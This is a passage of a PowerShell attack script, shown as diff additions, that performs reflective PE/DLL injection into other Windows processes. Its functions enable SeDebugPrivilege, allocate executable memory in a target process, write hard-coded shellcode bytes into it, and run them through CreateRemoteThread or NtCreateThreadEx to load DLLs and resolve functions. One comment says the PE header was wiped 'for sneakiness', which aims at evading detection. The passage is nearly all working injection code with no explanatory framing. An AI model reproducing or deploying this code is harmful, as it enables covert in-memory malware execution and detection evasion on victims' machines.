Position = 3, Mandatory = $true)] + [IntPtr] + $EndAddress, + + [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] + [IntPtr] + $Size + ) + + [IntPtr]$FinalEndAddress = [IntPtr]::Zero + if ($PsCmdlet.ParameterSetName -eq "Size") + { + [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) + } + else + { + $FinalEndAddress = $EndAddress + } + + $PEEndAddress = $PEInfo.EndAddress + + if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true) + { + Throw "Trying to write to memory smaller than allocated address range. $DebugString" + } + if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true) + { + Throw "Trying to write to memory greater than allocated address range. $DebugString" + } + } + + + Function Write-BytesToMemory + { + Param( + [Parameter(Position=0, Mandatory = $true)] + [Byte[]] + $Bytes, + + [Parameter(Position=1, Mandatory = $true)] + [IntPtr] + $MemoryAddress + ) + + for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++) + { + [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset]) + } + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + + Function Enable-SeDebugPrivilege + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke() + if ($ThreadHandle -eq [IntPtr]::Zero) + { + Throw "Unable to get the handle to the current thread" + } + + [IntPtr]$ThreadToken = [IntPtr]::Zero + [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) + { + $Result = $Win32Functions.ImpersonateSelf.Invoke(3) + if ($Result -eq $false) + { + Throw "Unable to impersonate self" + } + + $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + Throw "Unable to OpenThreadToken." + } + } + else + { + Throw "Unable to OpenThreadToken. Error code: $ErrorCode" + } + } + + [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID)) + $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid) + if ($Result -eq $false) + { + Throw "Unable to call LookupPrivilegeValue" + } + + [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES) + [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) + $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES) + $TokenPrivileges.PrivilegeCount = 1 + $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID) + $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED + [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true) + + $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value + if (($Result -eq $false) -or ($ErrorCode -ne 0)) + { + #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem) + } + + + Function Invoke-CreateRemoteThread + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [IntPtr] + $ProcessHandle, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(Position = 3, Mandatory = $false)] + [IntPtr] + $ArgumentPtr = [IntPtr]::Zero, + + [Parameter(Position = 4, Mandatory = $true)] + [System.Object] + $Win32Functions + ) + + [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero + + $OSVersion = [Environment]::OSVersion.Version + #Vista and Win7 + if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) + { + Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress" + $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero) + $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError" + } + } + #XP/Win8 + else + { + Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress" + $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero) + } + + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Write-Verbose "Error creating remote thread, thread handle is null" + } + + return $RemoteThreadHandle + } + + + + Function Get-ImageNtHeaders + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $NtHeadersInfo = New-Object System.Object + + #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness + $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER) + + #Get IMAGE_NT_HEADERS + [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr + $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64) + + #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen. + if ($imageNtHeaders64.Signature -ne 0x00004550) + { + throw "Invalid IMAGE_NT_HEADER signature." + } + + if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') + { + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true + } + else + { + $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false + } + + return $NtHeadersInfo + } + + + #This function will get the information needed to allocated space in memory for the PE + Function Get-PEBasicInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $PEInfo = New-Object System.Object + + #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot. + [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length) + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null + + #Get NtHeadersInfo + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types + + #Build a structure with the information which will be needed for allocating memory and writing the PE to memory + $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics) + + #Free the memory allocated above, this isn't where we allocate the PE to memory + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes) + + return $PEInfo + } + + + #PEInfo must contain the following NoteProperties: + # PEHandle: An IntPtr to the address the PE is loaded to in memory + Function Get-PEDetailedInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero) + { + throw 'PEHandle is null or IntPtr.Zero' + } + + $PEInfo = New-Object System.Object + + #Get NtHeaders information + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types + + #Build the PEInfo object + $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle + $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS) + $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr) + $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + + if ($PEInfo.PE64Bit -eq $true) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + else + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + + if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL' + } + elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE' + } + else + { + Throw "PE file is not an EXE or DLL" + } + + return $PEInfo + } + + + Function Import-DllInRemoteProcess + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $ImportDllPathPtr + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1) + $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RImportDllPathPtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten) + + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($DllPathSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes + + [IntPtr]$DllAddress = [IntPtr]::Zero + #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address + # Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes. + if ($PEInfo.PE64Bit -eq $true) + { + #Allocate memory for the address returned by LoadLibraryA + $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($LoadLibraryARetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA" + } + + + #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm) + $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $LoadLibrarySC2 = @(0x48, 0xba) + $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba) + $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + + $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length) + + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if ($Result -eq $false) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + else + { + [IntPtr]$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + [Int32]$ExitCode = 0 + $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode) + if (($Result -eq 0) -or ($ExitCode -eq 0)) + { + Throw "Call to GetExitCodeThread failed" + } + + [IntPtr]$DllAddress = [IntPtr]$ExitCode + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + return $DllAddress + } + + + Function Get-RemoteProcAddress + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $RemoteDllHandle, + + [Parameter(Position=2, Mandatory=$true)] + [String] + $FunctionName + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + $FunctionNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($FunctionName) + + #Write FunctionName to memory (will be used in GetProcAddress) + $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1) + $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RFuncNamePtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($FunctionNamePtr) + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($FunctionNameSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + #Get address of GetProcAddress + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes + + + #Allocate memory for the address returned by GetProcAddress + $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($GetProcAddressRetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress" + } + + + #Write Shellcode to the remote process which will call GetProcAddress + #Shellcode: GetProcAddress.asm + #todo: need to have detection for when to get by ordinal + [Byte[]]$GetProcAddressSC = @() + if ($PEInfo.PE64Bit -eq $true) + { + $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $GetProcAddressSC2 = @(0x48, 0xba) + $GetProcAddressSC3 = @(0x48, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9) + $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8) + $GetProcAddressSC2 = @(0xb9) + $GetProcAddressSC3 = @(0x51, 0x50, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9) + $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if (($Result -eq $false) -or ($NumBytesWritten -eq 0)) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + return $ProcAddress + } + + + Function Copy-Sections + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, 